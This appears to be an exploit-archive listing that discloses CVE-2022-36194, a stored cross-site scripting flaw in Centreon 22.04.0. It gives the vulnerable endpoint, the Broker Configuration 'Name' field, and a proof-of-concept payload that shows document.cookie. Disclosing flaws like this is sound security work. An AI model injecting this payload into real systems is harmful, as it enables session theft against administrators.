Lucene search
Yunaranyancat1337DAY-ID-37923HistoryAug 25, 2022 - 12:00 a.m.
Centreon 22.04.0 Cross Site Scripting Vulnerability
2022-08-2500:00:00
yunaranyancat
0day.today
283
0.001 Low
EPSS
Percentile
34.8%
# Exploit Title: Stored XSS in name parameter in Centreon version 22.04.0
# Exploit Author: syad, yunaranyancat, saitamang
# Vendor Homepage: Centreon
# Software Link: https://download.centreon.com/
# Version: 22.04.0
# CVE ID : CVE-2022-36194
# Tested on: Centos 7
Centreon 22.04.0 is vulnerable to Cross Site Scripting (XSS) from the function Pollers > Broker Configuration by adding a crafted payload
into the name parameter.
go to this endpoint -> /centreon/main.get.php?p=60909 -> Pollers -> Broker Configuration -> Click Button "Add" and put the crafted payload below on section "Name" and save
payload --> test"><body onload=prompt(document.cookie)>
Related
nvd
nvd
CVE-2022-36194
2022-08-29 06:15:09
cve
cve
CVE-2022-36194
2022-08-29 06:15:09
prion
prion
Cross site scripting
2022-08-29 06:15:00
cvelist
cvelist
CVE-2022-36194
2022-08-29 05:42:05
packetstorm
packetstorm
Centreon 22.04.0 Cross Site Scripting
2022-08-25 00:00:00
osv
osv
CVE-2022-36194
2022-08-29 06:15:09